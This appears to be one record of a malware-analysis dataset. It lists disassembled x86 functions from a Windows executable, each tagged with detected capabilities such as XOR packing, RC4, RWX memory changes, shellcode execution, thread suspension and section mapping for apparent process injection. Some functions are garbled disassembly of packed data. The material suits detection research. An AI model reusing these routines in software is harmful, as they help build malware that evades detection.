joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..reloc
nop
nop
mov ebx, 0x407ef8
mov ecx, 0x76114064
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x71907ef0
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40704d
Capabilities:
Encode data using xor

Disassembly:
jns 0x4070c4
inc ebp
add esi, edi
push ebx
jbe 0x4070a2
aas
dec esp
aas
dec esi
aas
pop esp
aas
dec edi
aas
insb byte es:[edi], dx
aas
push eax
aas
jl 0x4070a3
push ecx
aas
invalid
inc eax
jae 0x4070f0
aad 0x5e
mov cl, 0xbc
das
xchg esp, eax
mov eax, 0x308c1e6a
push edx
xor byte [eax + esi + 0x30ac3053], bl
push esp
xor byte [eax + esi + 0x30cc3055], bh
push esi
invalid
invalid
cmp dl, byte [esi + 0x5c349a76]
rcl dword [ebx], 0xbb
jae 0x4070ae
adc edi, dword [ebx - 0x23c6208d]
cmp esp, ebx
inc ecx
adc al, 0x61
imul esp, dword [eax - 0x57], 0x16b1d78c
xor dword [ebp + 0x31], ecx
dec esp
xor dword [esi + 0x31], ecx
pop esp
xor dword [edi + 0x31], ecx
insb byte es:[edi], dx
xor dword [eax + 0x31], edx
jl 0x40711d
push ecx
xor dword [ebp + 0x2f], ecx
jb 0x4070ff
push edi
jae 0x4070cb
imul ebx, dword [edi + 0x5e], 0x30
lodsb al, byte [esi]
fist word [edi - 0x450d204b]
mov byte [0xc36c0eb4], al
push eax
adc dword [ecx + 0x57], edx
xor ch, ah
xor bl, byte [eax + 0x32]
cld
xor cl, byte [ecx + 0x33]
or al, 0x33
dec edx
xor ebx, dword [ebx + esi]
dec ebx
xor ebp, dword [esi*8 - 0x7de47b92]
sub al, 0xcc
imul ecx, ebx, 0xfffffffa
mov edx, 0x6c0eb4a2
ret
test byte [ebx], bl
sub byte [esp + ecx*8], 0x3e
imul ecx, ebx, 0xfffffffa
sub al, 0x4e
mov bh, byte [ebp - 0x7869c2a4]
rcr dword [edx], 0x87
jns 0x40718f
mov dl, 0xc5
xor ebx, dword [ebx + esi + 0x33ac3353]
push esp
xor edi, dword [ebx + esi + 0x33cc3355]
push esi
xor ebx, esp
xor ebp, dword [ebx - 0x77]
js 0x407146
fdiv qword [ebx]
imul ecx, dword [ecx - 0x3f470588], 0xffffffaf
invalid
scasd eax, dword es:[edi]
sub esp, edi
mov eax, 0xfc29afc0
xor dword [ebx + 0x70], ecx
std
push edi
adc dword [ecx + 0x4f43fe2c], 0x1d9e681b
pop edx
dec esp
xor al, 0x4e
xor al, 0x5c
xor al, 0x4f
xor al, 0x6c
xor al, 0x50
xor al, 0x7c
xor al, 0x51
xor al, 0x8c
xor al, 0x52
xor al, 0x9c
xor al, 0x53
xor al, 0xac
xor al, 0x54
xor al, 0xbc
xor al, 0x55
xor al, 0xcc
xor al, 0x56
xor al, 0xdc
xor al, 0x57
xor al, 0xec
xor al, 0x58
xor al, 0xfc
xor al, 0x49
xor eax, 0x354a350c
sbb al, 0x35
dec ebx
xor eax, 0x354c352c
cmp al, 0x35
dec ebp
mov eax, dword [0x96b64c2b]
xchg dword [esi - 0x7a], ecx
lds edx, [edx - 0x19b7c5ff]
out 0x37, al
sbb eax, 0x4ac47f6a
lcall 0x4318, 0x7ee0998e
mov dword [0xe226b164], eax
push 0xe3041885
adc dword [esi], eax
in eax, 0x19
mov edi, 0x80a7f2be
or eax, 0xd2e19d90
adc al, 0x1c
and dword ss:[ebx], esi
aam 0xa0
inc eax
invalid
Function at 0x412865
Capabilities:
Encode data using xor

Disassembly:
push 9
push esi
push dword [ebx + ecx*2 + 0x24]
mov ecx, ebp
or byte [esp + 0x2c], dh
mov eax, dword [0xaf40246c]
add ch, byte [edx + 0x2c]
scasb al, byte es:[edi]
call 0xff4a1abc
movzx ecx, ah
and al, 0x28
push 0x29
pop eax
mov word [ecx + 0x66], bp
mov eax, dword [ebx + ecx*2 + 0x16]
mov word [ebp + 2], bp
mov eax, dword [ebx + 0x49]
push 4
lea ecx, [ecx - 0x38]
add eax, 0x49
push eax
add esi, 0x49
push esi
call dword [fcn.0040154b]
rol dword [ebx], 0x8a
dec esp
dec ebx
xor al, 0x8a
inc eax
mov dword [ebx - 0x3e06f33c], eax
shr al, 0x49
mov byte [esp - 0x75], cl
cmp cl, al
jb 0x412853
mov ebp, dword [esp + 0xa]
mov ecx, dword [esp - 0x35]
test ecx, ecx
je 0x412906
and dword [ecx + 0x28], 0x10
cmp byte [esp + 0x4a], 0
je 0x4128cb
mov eax, dword [0x4d8b147d]
and al, 0x30
or dword [edx], 0
mov eax, ebp
mov ecx, dword [ebp + 0x24]
xor byte [ebx - 0x3a74fff6], al
call [esi + 0x5d]
pop ebx
inc ecx
les edx, [edx + eax*8]
leave
add byte [ebx + 0x44034e41], cl
and al, 0x89
cmp eax, 0x130000
ja 0x412904
or byte [esp + 8], dh
inc ecx
rcl dword [eax - 1], 0x50
and al, 8
call fcn.0043096f
popal
sal byte [esp + eax + 0x14], 1
jmp 0x412906
sub al, 0xc0
ret 0x1008

Function at 0x4177fd
Capabilities:
Encode data using xor

Disassembly:
add byte [eax], dl
add dl, al
or al, 0x10
push ebp
mov ebp, esp
rol dword [ecx], 0x56
adc dword [edi - 0x728b8c00], 0x74
push ebp
dec eax
push eax
cmp eax, 0x486c7448
jne 0x417884
sal dword [ebp + 0xc], 0x39
pushal
adc al, 0x72
push 0x107d8b7e
pushfd
jge 0x41782b
je 0x41780d
push esi
push dword [ebp - 0x77]
push edi
call dword [fcn.0040154b]
adc eax, fcn.0040154b
inc ecx
les ecx, [ecx*4 - 0x3f7a0093]
push eax
or cl, byte [edx + 0x30ff8c4c]
or al, 0x8c
mov cl, byte [esp + ecx*4 - 1]
xor byte [esp + ecx*4], cl
dec eax
jne 0x41783a
invalid
inc ecx
invalid
invalid
invalid
Function at 0x41cf55
Capabilities:
Encode data using xor

Disassembly:
push ebx
pop edx
mov eax, 1
call 0x41ce6b
pop ebx
sub ebx, 0xc
sub ebx, 0x1ce5f
mov edi, eax
mov esi, 0x203
mov eax, esi
mov ecx, 0x10000
add eax, 2
dec ecx
loop 0x41ce83
mov esi, 0x89ffef0
push esi
mov ecx, esi
xor eax, ecx
inc edi
inc edi
inc edi
inc edi
xor eax, ecx
inc edi
inc edi
inc edi
inc edi
inc edi
inc edi
inc edi
inc edi
inc edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec edi
dec ecx
cmp ecx, 0x89ffee0
jle 0x41cf43
push ecx
lea esi, [ebx + 0x9000]
call 0x41cf26
imul esp, dword [ebp + 0x72], 0x6e
insb byte es:[edi], dx
xor esi, dword [edx]
add bh, bh
push ss
lea esi, [ebx + 0x9004]
call 0x41cf3f
push esi
imul esi, dword [edx + 0x74], 0x466c6175
insb byte es:[edi], dx
inc esi
jb 0x41cfa2
add byte gs:[eax - 1], dl
push ss
pop ecx
pop esi
cmp ecx, 1
je 0x41cf4e
call 0x41ce91
call 0x41cf55
xor eax, ecx
xor eax, ecx
xor eax, ecx
xor eax, ecx
xor eax, ecx
xor eax, ecx
pop eax
sub eax, 0xf4
sub eax, 0x1ce5f
dec cl
add byte [eax], al
add byte [ebx + 0x65], ch
jb 0x41d017
mov dword [ecx], 0x3d02c083
xor dword [edx], ebp
add dword [eax], eax

Function at 0x42a8cb
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
mov ebx, edx
popal
leave
je 0x42a944
invalid
js 0x42a8c5
clc
mov bh, 1
popaw
sal byte [eax + esi*2 + 0x3c], 0xd2
push edi
mov edi, dword [eax + 0x6030f883]
adc ecx, dword [edi]
mov bh, 0x1d
add al, byte [ebx + 0x57490f8]
sbb dword [eax - 0x50fa8aa8], 4
pop edi
add eax, dword [0x596a5655]
pop ebp
movzx ebx, word [ecx*4 - 0x7c902fba]
clc
or dword [eax + 0x49e2c108], eax
invalid
inc edx
Function at 0x4305ed
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sbb dword [ebp + 0x23], esi
or al, 0x19
mov dword [0x44fbe0], ebx
mov ebx, ebx
in al, 0x1f
inc esp
adc byte [ecx + 0x44fbe81d], cl
add bh, al
pop ecx
je 0x430632
inc esp
adc cl, bh
mov edx, 0x70a21040
sub ecx, dword [ebp]
push edi
call [edx + 0x5c]
adc al, byte [eax + 0x10]
sub esi, ebx
je 0x43063a
dec esi
dec esi
je 0x43066d
dec esi
je 0x43064c
in al, dx
je 0x430643
dec esi
push eax
adc byte [esi + 0xf], cl
popal
movsd dword es:[edi], dword [esi]
add byte [eax], al
adc byte [edi + 0xc1598], bh
push 0x24
cwde
adc eax, 0x246a000c
invalid
mov edi, 0x405ad8
push 0x5b
jmp 0x430665
mov edi, 0x401593
scasd eax, dword es:[edi]
adc bl, ch
sbb dword [eax + ecx*8], eax
add al, 0xc8
adc eax, 0x286a1040
jmp 0x43065e
mov edi, 0x405ab8
push 0xffffffffffffffaa
pop esi
push 0x44fbe8
mov edx, 0x4092d0
movsb byte es:[edi], byte [esi]
xchg edx, eax
inc eax
add byte [esp - 0x17efbf6e], ah
movsb byte es:[edi], byte [esi]
xchg edx, eax
inc eax
adc al, ch
add byte [esi + 0x10], cl
add byte [eax + eax*8 + 0x458d4150], al
fst dword [eax + 0x53]
lea eax, [ebp - 0x27]
push eax
push ebx
push 0x1010
jle 0x430689
call dword [0x44fbe8]
adc eax, 0x44fbe8
test dword [0x60ff4375], edx
cld
mov ecx, dword [ebp - 0x37]
mov edx, 0x100104
call fcn.0041db90
mov ebx, dword [eax]
push dword [ebp - 4]
or byte [0xc158c], dl
or al, 0
test esi, esi
pushal
and al, 0xff
jne 0x43067e
call dword [fcn.00403aac]
mov al, 0x19
jmp 0x4306d8
call [esi + 0x5b]
leave
xor eax, 0x1e510008
push ebx
push ebp
push esi
jle 0x430671
jl 0x43070c
retf 0x5c6a
xchg edi, eax
cmp ebp, 0x1904
cmovno ecx, ebx
add byte [eax], al
adc byte [ebx - 0x33a51731], cl
invalid
Function at 0x401170
Capabilities:
Access pe header
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp + 0xc]
mov dword [ebp - 8], edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call esi
cmp dword [ebp - 4], edi
jne 0x4011a1
push 2
pop esi
jmp 0x4011ce
push ebx
push dword [ebp - 4]
push edi
push dword [0x406448]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
cmp ebx, edi
jne 0x4011d6
push 8
pop esi
cmp ebx, edi
je 0x4011cd
push ebx
push edi
push dword [0x406448]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret 0x14
lea eax, [ebp - 4]
push eax
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
mov esi, eax
cmp esi, edi
jne 0x4011bb
push dword [0x4064b0]
mov edx, ebx
push dword [ebp - 4]
call fcn.00403e87
push ebx
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp eax, edi
jne 0x40120d
push 0xb
jmp 0x4011ba
cmp dword [ebp + 0x18], edi
je 0x40121a
cmp word [eax + 4], 0x8664
jmp 0x401220
cmp word [eax + 4], 0x14c
jne 0x401209
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x14]
mov dword [eax], ebx
mov eax, dword [ebp - 4]
mov dword [ecx], eax
jmp 0x4011cd

Function at 0x40132e
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x4064a8]
push ebx
push esi
push edi
mov edi, dword [0x406458]
xor esi, esi
test eax, eax
mov dword [ebp - 8], edi
mov dword [ebp - 4], eax
je 0x40135b
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 2]
jmp 0x40135d
xor ebx, ebx
test edi, edi
je 0x40136d
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
inc edi
jmp 0x40136f
xor edi, edi
push dword [0x406454]
mov ecx, dword [ebp + 0xc]
lea eax, [edi + ebx]
lea eax, [eax + ecx + 0x10]
push eax
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor ecx, ecx
cmp eax, ecx
mov dword [ebp - 0xc], eax
je 0x401404
push ecx
push ecx
push ecx
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
je 0x401404
cmp dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
mov dword [esi], ebx
mov dword [esi + 4], edi
mov dword [esi + 8], eax
je 0x4013ca
push ebx
push dword [ebp - 4]
lea eax, [esi + 0x10]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
cmp dword [ebp - 8], 0
je 0x4013e1
push edi
push dword [ebp - 8]
lea eax, [ebx + esi + 0x10]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
cmp dword [ebp + 8], 0
je 0x4013fc
push dword [ebp + 0xc]
add edi, ebx
push dword [ebp + 8]
lea eax, [edi + esi + 0x10]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [eax], ecx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40140d
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
xor esi, esi
xor eax, eax
mov dword [ebp - 0x14], esi
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x40
stosd dword es:[edi], eax
lea eax, [ebp - 0x58]
push esi
push eax
mov dword [ebp - 0x5c], esi
call sub.ntdll.dll_memset
add esp, 0xc
push 0x407116
call fcn.004039e3
mov ebx, eax
cmp ebx, esi
je 0x4014d8
push esi
mov dword [ebp - 0x5c], 0x44
call fcn.00402c10
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x5c]
push eax
push esi
push esi
push 0x4000004
push esi
push esi
push esi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 1
mov edi, eax
call fcn.00402c10
cmp edi, esi
je 0x4014bf
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x14]
call fcn.00402208
cmp dword [ebp + 0xc], esi
mov dword [ebp + 8], eax
je 0x4014ad
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp + 0x10], esi
je 0x4014ad
push dword [ebp + 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
jmp 0x4014c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
push ebx
push esi
push dword [0x406448]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x4014df
mov dword [ebp + 8], 8
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4019ce
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push dword [ebp + 0xc]
xor ebx, ebx
push dword [ebp + 8]
call esi
test eax, eax
je 0x401a21
lea eax, [ebp - 8]
push eax
push 4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004036ba
test eax, eax
je 0x401a10
cmp dword [ebp - 8], 4
jne 0x401a10
inc ebx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
pop esi
mov eax, ebx
pop ebx
leave
ret 0xc

Function at 0x4020ab
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4e8
push ebx
push esi
xor eax, eax
push 0x4c8
push eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x30]
push eax
or ebx, 0xffffffff
mov dword [esp + 0x28], 0xccccfeeb
call sub.ntdll.dll_memset
add esp, 0xc
call fcn.00402f79
mov esi, eax
lea eax, [esp + 8]
push eax
push dword [edi]
mov dword [esp + 0x58], 0x100003
call fcn.00401f30
test eax, eax
jl 0x4021fe
lea eax, [esp + 0x10]
push eax
push 4
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [edi]
call fcn.00402d3c
test eax, eax
je 0x4021fe
cmp dword [esp + 0x10], 4
jne 0x4021fe
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [edi]
call fcn.00401e43
test eax, eax
je 0x4021fe
lea eax, [esp + 0x20]
cdq
mov ebx, 0xbb8
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
push dword [0x4064ac]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x402181
push 0x64
pop ebx
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [esp + 0x14]
mov eax, dword [edi + 4]
push dword [esp + 0x14]
cdq
push edx
push eax
push 0
push 2
push dword [esi + 4]
sub ebx, 0x64
push dword [esi]
call fcn.004040b0
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x138]
add esp, 0x20
test ebx, ebx
jle 0x4021ca
cmp eax, dword [esp + 8]
jne 0x402160
cmp ecx, dword [esp + 0xc]
jne 0x402160
cmp eax, dword [esp + 8]
jne 0x4021d6
cmp ecx, dword [esp + 0xc]
je 0x4021dd
mov ebx, 0x261
jmp 0x4021ea
mov esi, dword [ebp + 8]
push 0
push edi
call fcn.00401c50
mov ebx, eax
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
push dword [esp + 0x10]
push dword [edi]
call fcn.00401e43
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402208
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
push ebx
push esi
push edi
xor esi, esi
push 0x2c8
mov edi, eax
lea eax, [ebp - 0x2dc]
push esi
push eax
mov dword [ebp - 0x2e0], esi
call sub.ntdll.dll_memset
mov ebx, dword [edi]
add esp, 0xc
push esi
mov eax, ebx
mov dword [ebp - 8], 0xccccfeeb
mov dword [ebp - 4], esi
call fcn.00402b95
test eax, eax
je 0x40230a
mov dword [ebp - 4], 0x10
mov eax, dword [ebp + 0xc]
cmp eax, esi
mov dword [ebp - 0x2e0], 0x10007
mov dword [ebp + 0xc], eax
jne 0x402274
push dword [edi]
call fcn.00401a29
mov dword [ebp + 0xc], eax
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
push ebx
call fcn.00403679
test eax, eax
je 0x402343
cmp dword [ebp - 0x10], 4
jne 0x402343
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
push ebx
call fcn.004019ce
test eax, eax
je 0x402343
mov esi, 0xbb8
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x64
push dword [0x4064ac]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x4022d4
push 0x64
pop esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2e0]
push eax
push dword [edi + 4]
sub esi, 0x64
call fcn.00403658
test esi, esi
mov eax, dword [ebp - 0x228]
jle 0x4022fe
cmp eax, dword [ebp + 0xc]
jne 0x4022b3
cmp eax, dword [ebp + 0xc]
je 0x402323
mov esi, 0x261
jmp 0x402331
test byte [0x40649c], 1
je 0x402256
push dword [ebp + 8]
call fcn.004020ab
mov esi, eax
jmp 0x40233e
push dword [ebp - 4]
mov esi, dword [ebp + 8]
push edi
call fcn.00401c50
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
push ebx
call fcn.004019ce
cmp esi, 0xffffffff
jne 0x40234b
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x40242f
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x40
xor ecx, ecx
push ecx
push 2
xor eax, eax
mov dword [ebp - 0xc], ecx
lea edi, [ebp - 8]
stosd dword es:[edi], eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push ecx
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 4], ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtMapViewOfSection]
push eax
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
pop edi
leave
ret 0xc
Function at 0x402c38
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, eax
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
push edi
mov dword [ebp - 8], esi
call fcn.0040355b
test eax, eax
jne 0x402cdf
push esi
push dword [ebp + 8]
call fcn.00403ce1
cmp eax, esi
je 0x402cd7
sub eax, edi
push ebx
push eax
mov eax, edi
call fcn.00403dea
mov ebx, eax
cmp ebx, esi
je 0x402cd6
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x402cd6
push esi
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, ebx
jne 0x402ccd
push esi
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402ccd
cmp dword [ebp - 0xc], 4
jne 0x402ccd
mov eax, dword [ebp - 0x10]
add eax, edi
mov dword [ebp - 8], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
push dword [ebp - 4]
call fcn.0040105c
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret 4

Function at 0x4035e2
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor esi, esi
mov dword [ebp - 4], 0x10000
test esi, esi
je 0x4035fb
push esi
call fcn.0040105c
push dword [ebp - 4]
call fcn.00401047
mov esi, eax
test esi, esi
je 0x403625
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push esi
push 5
call dword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov edi, eax
cmp edi, 0xc0000004
je 0x4035f1
jmp 0x40362a
mov edi, 0xc000009a
test edi, edi
jl 0x40364b
push dword [ebp + 8]
push esi
call fcn.00401554
mov ecx, dword [esi]
test ecx, ecx
je 0x403641
add esi, ecx
jmp 0x403643
xor esi, esi
test esi, esi
je 0x40364b
test eax, eax
jne 0x40362e
push edi
call dword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
pop edi
pop esi
leave
ret 4
Function at 0x403ce1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [edi + 0x3c]
and dword [ebp - 0x14], 0
add eax, edi
cmp word [eax + 4], 0x14c
jne 0x403cfd
add eax, 0x78
jmp 0x403d02
add eax, 0x88
mov ecx, dword [eax]
test ecx, ecx
push ebx
lea ebx, [ecx + edi]
je 0x403de2
cmp dword [eax + 4], 0
je 0x403de2
mov eax, dword [ebx + 0x1c]
test eax, eax
je 0x403de2
mov ecx, dword [ebx + 0x14]
test ecx, ecx
je 0x403de2
mov edx, dword [ebp + 8]
test edx, edx
push esi
lea esi, [eax + edi]
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], edx
je 0x403d4e
cmp edx, 0xffff
ja 0x403d4e
mov dword [ebp - 0xc], ecx
jmp 0x403d58
mov eax, dword [ebx + 0x18]
and dword [ebp - 4], 0
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0x24]
test eax, eax
je 0x403dd3
mov esi, dword [ebx + 0x20]
and dword [ebp - 8], 0
add eax, edi
add esi, edi
cmp dword [ebp - 0xc], 0
mov dword [ebp - 0x10], eax
jbe 0x403de1
cmp dword [ebp - 4], 0
je 0x403d84
movzx eax, word [eax]
add eax, dword [ebx + 0x10]
cmp dword [ebp - 4], eax
jmp 0x403dab
mov eax, dword [esi]
add eax, edi
test edx, edx
je 0x403d98
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jmp 0x403dab
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [esi]
add edx, edi
call fcn.00403eb9
cmp dword [ebp + 0xc], eax
mov eax, dword [ebp - 0x10]
je 0x403dc8
add esi, 4
inc eax
inc eax
inc dword [ebp - 8]
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
jae 0x403de1
mov edx, dword [ebp + 8]
jmp 0x403d73
movzx eax, word [eax]
mov ecx, dword [ebp - 0x18]
lea eax, [ecx + eax*4]
jmp 0x403dde
mov eax, dword [ebp - 4]
test eax, eax
je 0x403de1
lea eax, [esi + eax*4 - 4]
mov dword [ebp - 0x14], eax
pop esi
mov eax, dword [ebp - 0x14]
pop ebx
leave
ret 8

Function at 0x403dea
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [eax + ecx + 0x18]
movzx eax, word [ecx + 6]
push ebx
push esi
mov dword [ebp - 4], eax
xor eax, eax
push edi
mov edi, dword [edx + 0xc]
cmp dword [ebp + 8], edi
jb 0x403e25
mov esi, dword [ecx + 0x3c]
mov ebx, dword [edx + 0x10]
lea ebx, [ebx + esi - 1]
dec esi
not esi
and ebx, esi
add ebx, edi
cmp dword [ebp + 8], ebx
jb 0x403e37
add dword [ebp - 4], 0xffff
add edx, 0x28
cmp word [ebp - 4], ax
jne 0x403e07
jmp 0x403e3f
mov eax, dword [edx + 0x14]
sub eax, edi
add eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x403eb9
Capabilities:
Encode data using xor

Disassembly:
test edx, edx
push esi
mov esi, eax
je 0x403efd
or eax, 0xffffffff
test esi, esi
je 0x403ef9
push edi
mov cl, byte [edx]
movzx ecx, cl
mov edi, ecx
xor edi, eax
and edi, 0xf
shr eax, 4
xor eax, dword [edi*4 + 0x4052a8]
shr ecx, 4
mov edi, eax
and edi, 0xf
xor ecx, edi
shr eax, 4
xor eax, dword [ecx*4 + 0x4052a8]
dec esi
inc edx
test esi, esi
jne 0x403ec8
pop edi
not eax
jmp 0x403eff
xor eax, eax
not eax
pop esi
ret